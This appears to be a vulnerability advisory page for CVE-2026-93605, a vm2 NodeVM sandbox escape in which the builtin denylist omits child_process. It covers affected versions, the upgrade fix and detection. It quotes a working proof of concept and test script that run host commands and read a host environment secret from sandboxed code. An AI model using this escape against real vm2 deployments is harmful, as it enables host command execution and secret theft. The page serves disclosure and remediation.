CVE-2026-93605: vm2 contains a sandbox escape vulnerability
vm2 up to 3.12.0 lets sandboxed code run host commands when `NodeVM` is configured with `require: { builtin: ['*'] }` or names `child_process` explicitly. The `DANGEROUS_BUILTINS` denylist blocks other host-reaching modules but leaves out `child_process`. Upgrade to vm2 3.12.1.
Published Oct 7, 2026 · Analysis Oct 25, 2026
What an attacker can do
NodeVM is meant to run untrusted code with a restricted require. In lib/builtin.js, the DANGEROUS_BUILTINS set denies modules such as worker_threads, cluster, vm, process and os, even when the config asks for '*'. child_process is missing from it. isDangerousBuiltin('child_process') returns false, so the '*' wildcard expands to include it, and an explicit builtin: ['child_process'] is also admitted. The module handed to the sandbox is the real host module, because the default require context is host.
The attacker only controls the sandboxed script. One line, require('child_process').execSync('id'), runs a command with the host process's privileges and can read host environment variables. The advisory's tests show the escape also works with the documented subtract pattern ['*', '-fs']. A control config with only builtin: ['fs'] denied the module. The scope change in the CVSS vector (S:C) reflects the break from sandbox to host. This matters most for platforms that run user-supplied plugins, scripts or workflow code through vm2.
Who is affected
vm2 versions 3.12.0 and earlier, in configurations that expose child_process: require: { builtin: ['*'] }, a wildcard with subtractions such as ['*', '-http', '-net'], or an explicit child_process entry. The advisory's tests show a config that allows only specific other modules, such as ['fs'], denies it.
Check the installed version, including transitive copies:
npm ls vm2Then search your code for NodeVM and read each require.builtin setting.
vm2
- Ecosystem
- npm
- Affected
- <= 3.12.0
- Fixed in
- 3.12.1
- Check
npm ls vm2
How to fix it
Upgrade to vm2 3.12.1:
npm install [email protected]The advisory pages do not describe the patch itself or list workarounds. The root cause is the missing denylist entry. Until you can upgrade, do not use builtin: ['*'] or the subtract pattern, and never list child_process in builtin. Allow only the specific modules your sandboxed code needs. Do not treat any in-process JavaScript sandbox as the only barrier for hostile code. Run it in a separate, unprivileged process or container as well.
How to tell if you were hit
Audit your code for new NodeVM( calls and review their require.builtin values. Look for unexpected child processes spawned by your Node service, such as sh, id or curl started by the Node process, and for outbound connections from the host that the service does not normally make. Review the scripts users have submitted for child_process, execSync, spawn or exec. The advisory gives no log signature of its own.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:['*'] or explicit child_process allowance.
This fork hardens NodeVM with a DANGEROUS_BUILTINS denylist that blocks host‑code‑reaching core modules **even when the sandbox requests builtin:['*'] or names them explicitly — the list contains `module`, `worker_threads`, `cluster`, `vm`, `repl`, `inspector`, `process`, `trace_events`, `wasi`, `diagnostics_channel`, `async_hooks`, `perf_hooks`, `v8`, `os`, `dns`, and `test`. It omits child_process** — the single most direct command‑execution primitive. As a result, a sandbox running under require:{builtin:['*']} (or the fork's own documented ['*','-http','-net',…] subtract pattern) can require('child_process').execSync(...) and execute arbitrary commands on the host. The omission is internally inconsistent: cluster is denied with the explicit rationale "cluster.fork() spawns a host child process running attacker‑controlled code," yet child_process — which spawns host processes more directly — is not.
Details
lib/builtin.js:
DANGEROUS_BUILTINS(lines 83‑179) — the Set of denied builtins.child_processdoes not appear anywhere in it.isDangerousBuiltin(key)(lines 185‑195) — stripsnode:prefixes and applies family‑prefix matching againstDANGEROUS_BUILTINS. Returnsfalseforchild_process.BUILTIN_MODULES(lines 209‑210) — the source list that the'*'wildcard expands to — isbuiltinModules.filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s)). BecauseisDangerousBuiltin('child_process')isfalse,child_process**remains in'*'**.addDefaultBuiltin(the explicit‑name path) likewise rejects onlyisDangerousBuiltinnames, sobuiltin:['child_process']is admitted as well.
The module returned is the real host `child_process` (default require.context is "host"), so execSync/exec/spawn/fork run with full host authority. The denylist's own comment (lines 42‑44) states these primitives "must NEVER be reachable from the sandbox, even when the user requests '*' or explicitly names them" — the invariant child_process violates.
PoC
const { NodeVM } = require('vm2');
const r = new NodeVM({ require: { builtin: ['*'] } }).run(`
module.exports = require('child_process').execSync('id').toString();
`, 'plugin.js');
console.log(r); // -> "uid=1000(user) gid=1000(user) groups=..." host command executionVerified results:
| config | `require('child_process')` |
| `{ builtin: ['*'] }` | **RCE** — host `id` + host env read |
| `{ builtin: ['*', '-fs'] }` (documented subtract pattern) | **RCE** — subtracting other modules does not remove it |
| `{ builtin: ['child_process'] }` | **RCE** — explicit name admitted despite the "never, even if named" invariant |
| `{ builtin: ['fs'] }` (control) | denied — `Cannot find module 'child_process'` |Impact
Full host RCE — a complete NodeVM sandbox escape — for any deployment that runs untrusted code under require:{builtin:['*']} or the documented ['*', '-x', …] subtract pattern (both of which the fork explicitly supports and hardens), or that explicitly allows child_process believing the denylist would reject it as it does the other host‑spawning builtins. The attacker controls only their sandboxed script; the exploit is a single require('child_process').
builtin-child_process-denylist-gap-rce.js
'use strict';
// F-006: vm2 NodeVM DANGEROUS_BUILTINS denylist omits `child_process`.
// The fork's denylist (lib/builtin.js:83-179) blocks host-code-reaching builtins
// even under `builtin:['*']` or explicit naming — module, worker_threads,
// cluster, vm, repl, inspector, process, os, dns, v8, test, ... — but NOT
// child_process. So `require:{builtin:['*']}` (an allow-all config the fork
// explicitly hardens) yields direct host RCE. Attacker controls only the
// sandboxed script.
const path = require('path');
const { NodeVM } = require(path.resolve(__dirname, '..', 'src', 'vm2', 'lib', 'main.js'));
process.env.HOST_ONLY_SECRET = 'CANARY123'; // host-only; sandbox process stub has env:{}
function tryConfig(label, opts) {
try {
const r = new NodeVM({ ...opts, timeout: 2000 }).run(`module.exports = (() => {
try {
const cp = require('child_process');
return {
reached: true,
id: cp.execSync('id').toString().trim(),
hostSecret: cp.execSync('printenv HOST_ONLY_SECRET').toString().trim()
};
} catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; }
})()`, 'plugin.js');
console.log(label, '=>', JSON.stringify(r));
return r;
} catch (e) { console.log(label, '=> THREW:', e.message.slice(0, 60)); return null; }
}
console.log('--- child_process reachability by NodeVM require config ---');
const a = tryConfig("require:{builtin:['*']} ", { require: { builtin: ['*'] } });
const b = tryConfig("require:{builtin:['*','-fs']} ", { require: { builtin: ['*', '-fs'] } }); // documented subtract pattern
const c = tryConfig("require:{builtin:['fs']} (ctl) ", { require: { builtin: ['fs'] } }); // control: not allowed -> denied
const ok = a && a.reached && /uid=/.test(a.id) && a.hostSecret === 'CANARY123'
&& b && b.reached
&& c && c.reached === false;
console.log(ok
? "\n>>> CONFIRMED: builtin:['*'] gives host RCE via child_process (denylist gap); control denies it when not allowed"
: "\n>>> NOT confirmed");
process.exit(ok ? 42 : 1);Questions
- Is vm2 3.12.0 affected by CVE-2026-93605?
Yes, if NodeVM exposes
child_process. Versions up to and including 3.12.0 are affected. The fix is in 3.12.1.- Am I safe if I don't use builtin: ['*']?
Largely, for this flaw. The advisory's test showed
builtin: ['fs']deniedchild_process. You are still exposed if you namechild_processexplicitly, because the denylist did not reject it.- Is CVE-2026-93605 exploited in the wild?
None of the pages read say so, and it is not marked as a known exploited vulnerability in this entry. The advisory does include a working proof of concept.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-100721
vm2: NodeVM custom resolution bypasses external path boundaries
critical10.0Oct 5, 2026CVE-2026-92934
vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit
critical9.0Oct 5, 2026CVE-2026-92946
vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE
critical10.0Oct 5, 2026CVE-2026-92947
vm2: Sandboxed code can read and write host-realm memory via Node's shared Buffer pool
critical10.0Oct 5, 2026CVE-2026-92953
vm2: Default VM can mutate host TypedArray and ArrayBuffer intrinsics after the host-prototype pollution fix
critical10.0Oct 5, 2026CVE-2026-92954
vm2: Host-returned Promise rejection can bypass vm2's unhandled-rejection hardening and terminate the host process
critical8.6Oct 5, 2026
